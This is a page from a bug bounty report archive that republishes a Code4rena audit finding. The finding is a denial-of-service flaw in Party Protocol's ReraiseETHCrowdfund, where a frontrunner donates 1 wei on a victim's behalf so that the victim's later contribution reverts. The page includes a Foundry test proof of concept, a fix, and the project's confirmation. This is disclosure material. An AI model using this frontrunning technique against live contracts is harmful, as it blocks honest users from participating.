Skip to content
DoS Audit finding Intermediate

Possible DOS attack using dust in ReraiseETHCrowdfund._contribute()

A frontrunner can contribute a tiny amount on behalf of an honest user, minting their crowdfund NFT while their voting power remains zero. When the honest user later contributes, the contract tries to mint the NFT again and reverts, blocking their contribution.

hansfriese Follow

Originally disclosed on Code4rena

Submitted by hansfriese

Normal contributors wouldn’t contribute to the crowdfund properly by a malicious frontrunner.

Proof of Concept

When users contribute to the ReraiseETHCrowdfund, it mints the crowdfund NFT in _contribute().

File: 2023-04-party\contracts\crowdfund\ReraiseETHCrowdfund.sol
228:         votingPower = _processContribution(contributor, delegate, amount);
229:
230:         // OK to contribute with zero just to update delegate.
231:         if (amount == 0) return 0;
232:
233:         uint256 previousVotingPower = pendingVotingPower[contributor];
234:
235:         pendingVotingPower[contributor] += votingPower;
236:
237:         // Mint a crowdfund NFT if this is their first contribution.
238:         if (previousVotingPower == 0) _mint(contributor); //@audit DOS by sending dust

As we can see, it mints the NFT when previousVotingPower == 0 to mint for the first contribution.

But votingPower from _processContribution() might be 0 even if amount > 0 and pendingVotingPower[contributor] would be remained as 0 after the first contribution.

Then this function will revert from the second contribution as it tries to mint the NFT again.

The below shows the detailed scenario and POC.

  1. Let’s assume exchangeRateBps = 5e3. So votingPower for 1 wei is zero. Also, from the test configurations, it’s not a strong condition to assume minContributions = 0.
  2. After noticing an honest user contributes with 1 ether, an attacker frontruns contributeFor() for the honest user with 1 wei.
  3. Then the crowdfund NFT of the honest user will be minted but the voting power is still 0.
  4. During the honest user’s contribute(), it will try to mint the NFT again as previousVotingPower == 0 and revert. So he can’t contribute for this crowdfund.

While executing the POC, opts.exchangeRateBps should be 5e3.

    function test_contribute_DOSByFrontrunnerWithDust() public {
        ReraiseETHCrowdfund crowdfund = _createCrowdfund({
            initialContribution: 0,
            initialContributor: payable(address(0)),
            initialDelegate: address(0),
            minContributions: 0,
            maxContributions: type(uint96).max,
            disableContributingForExistingCard: false,
            minTotalContributions: 3 ether,
            maxTotalContributions: 5 ether,
            duration: 7 days,
            fundingSplitBps: 0,
            fundingSplitRecipient: payable(address(0))
        });

        address attacker = _randomAddress();
        address honest = _randomAddress();
        vm.deal(attacker, 1); //attacker has 1 wei
        vm.deal(honest, 1 ether); //honest user has 1 ether

        // Contribute
        vm.startPrank(attacker); //attacker frontruns for the honest user
        crowdfund.contributeFor{ value: 1 }(payable(honest), honest, "");
        vm.stopPrank();

        assertEq(crowdfund.balanceOf(honest), 1); //crowdfund NFT of the honest users was minted
        assertEq(crowdfund.pendingVotingPower(honest), 0); //voting power = 0 because of the low exchangeRateBps

        vm.expectRevert(
            abi.encodeWithSelector(
                CrowdfundNFT.AlreadyMintedError.selector,
                honest,
                uint256(uint160(honest))
            )
        );
        vm.startPrank(honest); //when the honest user contributes, reverts
        crowdfund.contribute{ value: 1 ether }(honest, "");
        vm.stopPrank();
    }

Recommended Mitigation Steps

Recommend minting the crowdfund NFT when the new votingPower is positive. Then we can avoid duplicate mints.

File: 2023-04-party\contracts\crowdfund\ReraiseETHCrowdfund.sol
233:         uint256 previousVotingPower = pendingVotingPower[contributor];
234:
235:         pendingVotingPower[contributor] += votingPower;
236:
237:         // Mint a crowdfund NFT if this is their first meaningful contribution.
238:         if (previousVotingPower == 0 && votingPower != 0) _mint(contributor); //++++++++++++++++

0xble (Party) confirmed and commented:

Will be mitigated by reverting if contributing leads to zero voting power (i.e. contributionAmount * exchangeRateBps / 1e4 == 0).


The original report as published on Code4rena, by hansfriese. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The contract uses pending voting power being zero as the signal for a first contribution, but a contribution can mint the NFT while leaving voting power at zero.

Impact

An honest user could be prevented from contributing to the crowdfund, causing a denial of service for that user.

What the attacker needed

Exchange rate such that 1 wei gives zero voting power; minContributions can be zero; attacker can frontrun the victim's transaction

The fix

The project said it will mitigate by reverting if a contribution leads to zero voting power.

How it was found

  1. Set the exchange rate so that one wei of contribution yields zero voting power.
  2. The attacker frontruns the honest user's contribution by calling contributeFor for the honest user with one wei.
  3. The honest user's crowdfund NFT is minted but their pending voting power remains zero.
  4. When the honest user calls contribute, the contract tries to mint the NFT again and reverts.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A crowdfund contract gives each contributor a unique NFT the first time they contribute. The contract decides 'first time' by checking whether the person's voting power is zero. An attacker can send a tiny amount for someone else, which mints the NFT but leaves voting power at zero. When the real user tries to contribute, the contract thinks it is their first time again and tries to mint a second NFT, which fails and blocks the contribution.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by hansfriese

View all

65 more disclosed reports, best first.

More from Party Protocol

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.